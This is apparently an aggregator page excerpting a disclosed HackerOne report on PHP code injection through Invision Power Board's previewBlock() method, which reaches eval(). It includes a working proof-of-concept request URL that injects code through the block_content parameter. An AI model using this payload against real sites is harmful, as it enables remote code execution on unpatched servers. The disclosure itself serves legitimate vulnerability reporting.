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地图 / PHP Code Injection through "previewBlock()" method

PHP Code Injection through "previewBlock()" method

代码执行 / 代码注入 / #1092574

厂商
Invision Power Services, Inc.
严重程度
中危 · CVSS 7.2
赏金
—
弱点
代码注入
研究员
@egix
披露日期
2021-05-28
资产
—
CVE
—

该报告还没有中文解读。

原文摘录

摘自原文(1320 字符中的一小部分)
**Summary:** The vulnerability exists because the `IPS\cms\modules\front\pages\_builder::previewBlock()` method allows to pass arbitrary content to the `IPS\_Theme::runProcessFunction()` method, which will be used in a call to the `eval()` function. This can be exploited to inject and execute …
原文中的代码
http://[host]/[ips]/index.php?app=cms&module=pages&controller=builder&do=previewBlock&block_plugin=stats&block_template_use_how=copy&block_plugin_app=core&_sending=block_content&block_content=RCE%0ACONTENT;}}phpinfo();die;/*

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Invision Power Services, Inc. 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @egix · 版权归作者与 Invision Power Services, Inc. 所有

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